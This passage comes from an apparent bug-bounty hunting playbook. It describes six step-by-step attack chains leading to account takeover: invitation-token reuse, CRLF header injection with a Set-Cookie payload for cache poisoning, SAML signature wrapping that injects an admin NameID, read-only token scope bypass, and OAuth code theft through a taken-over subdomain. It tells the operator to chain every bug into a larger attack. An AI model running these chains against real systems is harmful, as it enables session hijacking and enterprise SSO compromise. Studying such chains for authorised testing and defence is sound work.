271- **Real shape:** Shopify removed-staff session persistence class (2022); GitLab cached-permissions-after-removal class. Pairs with `hunt-ato` Path 5 (session-fixation).
272
273### Chain 2 — Invitation Token Reuse + Skipped Verification → Privileged Role Injection
274
275- **A.** Receive an invitation link for a low-privilege role at the target.
276- **B.** Before completing email verification, POST the invitation token from a different session (incognito browser / anonymous request).
277- **C.** Server grants the invited role without re-verifying that the consuming session matches the invited email — new identity inherits the invitation's scope.
278- **Impact:** Privilege-escalated foothold without owning the invited email address. For partner-portal invitations (where a partner-tier role manages hundreds of downstream merchants), this is the Shopify Partners-class Critical.
279- **Real shape:** Multiple H1 Shopify Partners disclosures 2020-2022 (root cause #2). Pairs with `hunt-auth-bypass` step 7 (invitation flow verification).
280
281### Chain 3 — CRLF in Ruby Header + Cache Poisoning → Mass Stored XSS at CDN Scale
282
283- **A.** Identify CRLF injection in a Ruby `Net::HTTP` / Rack response header — user-controlled value flows into `Location:` or a custom `X-*` header (root cause #7: Ruby header injection via string interpolation).
284- **B.** Inject `%0d%0aSet-Cookie: session=attacker` or a duplicate `Cache-Control: public, max-age=3600` that pollutes the cache-key normalisation across CDN tiers.
285- **C.** Cache stores the poisoned response for the full max-age. Every CDN-edge visitor in the affected geo receives the attacker's `Set-Cookie` or attacker-controlled body.
286- **Impact:** Cross-customer XSS / session fixation at full CDN scale; persistent until cache TTL expires; affects every visitor to that path.
287- **Real shape:** GitLab CRLF + cache poisoning chain (H1 #1160407 / Iustin Ladunca, 2021); Rack 3 behavioural-change ecosystem advisories (2022-2023). Pairs with `hunt-cache-poison` citation #7 and #10 (Akamai hop-by-hop class).
288
289### Chain 4 — SAML XSW + Parser Differential → Admin Claim Injection → SSO ATO
290
291- **A.** Capture a valid SAMLResponse via the legitimate auth flow (Burp filter for `SAMLResponse=` POST bodies on `/saml/acs` or `/Shibboleth.sso`).
292- **B.** Inject a sibling `<Assertion>` element so the signature-checker XML parser (REXML/Xerces) resolves a different node than the business-logic XML parser (Nokogiri/JAXP). Sign the outer benign assertion; embed `<NameID>admin@victim</NameID>` in the unsigned inner assertion.
293- **C.** SP signature validates against the outer element; SP business logic reads the inner one; admin role assumed without password or MFA.
294- **Impact:** Full enterprise SSO compromise. Every SAML-gated app inherits the spoofed admin identity for the session lifetime.
295- **Real shape:** GitHub Enterprise CVE-2025-25291 / CVE-2025-25292 (parser differential, 2025); samlify CVE-2025-47949. Cross-refs `hunt-auth-bypass` Disclosed Report Citation #5 and #7, and root cause #5 (SAML XML parsing quirks).
296
297### Chain 5 — Token-Scope Check at Issuance, Not at Use → Cross-Tenant Write via Low-Scope PAT
298
299- **A.** Create a personal access token / OAuth token with `read:user` scope only. Confirm via `GET /api/me/tokens`.
300- **B.** Call a write endpoint that should require `write:*` (e.g. `DELETE /repos/{org}/{repo}/issues/{n}`). Server checks "is authenticated" via middleware but the individual handler doesn't re-verify the PAT's scope subset.
301- **C.** Write action succeeds despite the token being read-only.
302- **Impact:** PAT scope model is functionally broken — every read-only token is write-equivalent on the affected endpoints. Mass-exploitable across the userbase by anyone with a leaked PAT.
303- **Real shape:** GitHub PAT scope-at-issuance-not-at-use class (root cause #3). Pairs with step 4 (PAT scope enforcement fuzzing) and `hunt-api-misconfig` JWT scope bypasses.
304
305### Chain 6 — Subdomain Takeover at OAuth `redirect_uri` Allowlist → Auth-Code Theft → ATO
306
307- **A.** Enumerate OAuth `redirect_uri` allowlist via the `/oauth/authorize` flow; note any wildcard `*.target.com` or takeover-candidate hostname in the static list.
308- **B.** Find a takeover-able subdomain (`legacy.target.com` CNAME'd to deleted Vercel project / Heroku app / S3 bucket — `hunt-subdomain` step 1).
309- **C.** Claim the subdomain. Host an OAuth callback receiver. Send victim to `/oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&...`. Auth code lands on attacker host. Exchange via token endpoint. ATO.
310- **Impact:** Persistent 1-click ATO every time the OAuth flow runs against the affected client.
311- **Real shape:** Microsoft Azure DevOps `cloudapp.azure.com` + wildcard `*.visualstudio.com` reply_to chain (Binary Security, Nov 2022). Cross-refs `hunt-subdomain` Disclosed Report Citation #12.
312
313### Operator-level pattern
314
315When you confirm a misc primitive at A, **immediately** ask: what state-machine, cache layer, sibling endpoint, or auth-state-skew can amplify it? The first primitive is the entry pass. The chain is the deliverable. Every Workstream-A skill citation in this bundle pairs with at least one chain shape above:
316- `hunt-auth-bypass` — Chains 2, 4, 5
317- `hunt-cache-poison` — Chain 3
318- `hunt-saml` — Chain 4
319- `hunt-subdomain` — Chain 6
320- `hunt-ato` — Chains 1, 2, 5, 6 (all terminal-impact paths)
321
322---
323
324## Related Skills & Chains
325
326- **`hunt-saml`** — SAML signature wrapping (XSW1–XSW8) is the canonical "misc auth" critical. Chain primitive: SAML XSW + `hunt-saml` AttributeStatement injection → NameID swap → ATO of victim admin via SSO with no password.
327- **`hunt-business-logic`** — Misc role/permission desync bugs overlap with business-logic state-machine flaws. Chain primitive: business logic (invitation-before-verify) + role assignment without identity confirmation → tenant takeover.
328- **`hunt-auth-bypass`** — Session-revocation gaps and stale-token issues are pure auth-bypass primitives. Chain primitive: removed user retains session token → `hunt-auth-bypass` → post-termination data exfil and persistent access.
329- **`hunt-ato`** — Most misc auth bugs end at account takeover. Chain primitive: signature-stripping / NameID injection + `hunt-ato` Path 6 (JWT/SAML manipulation) → admin ATO across enterprise.
330- **`security-arsenal`** — Load the SAML Raider payload pack, the session-revocation probe checklist, and the Always-Rejected list (rate-limiting on auth, theoretical issues, user enumeration without sensitive PII).
331- **`triage-validation`** — Apply the 7-Question Gate plus the Body-Diff Rule: misc bugs are the highest-N/A category — a state desync claim needs a concrete cross-tenant read or admin-action PoC, not just "the API let me call it".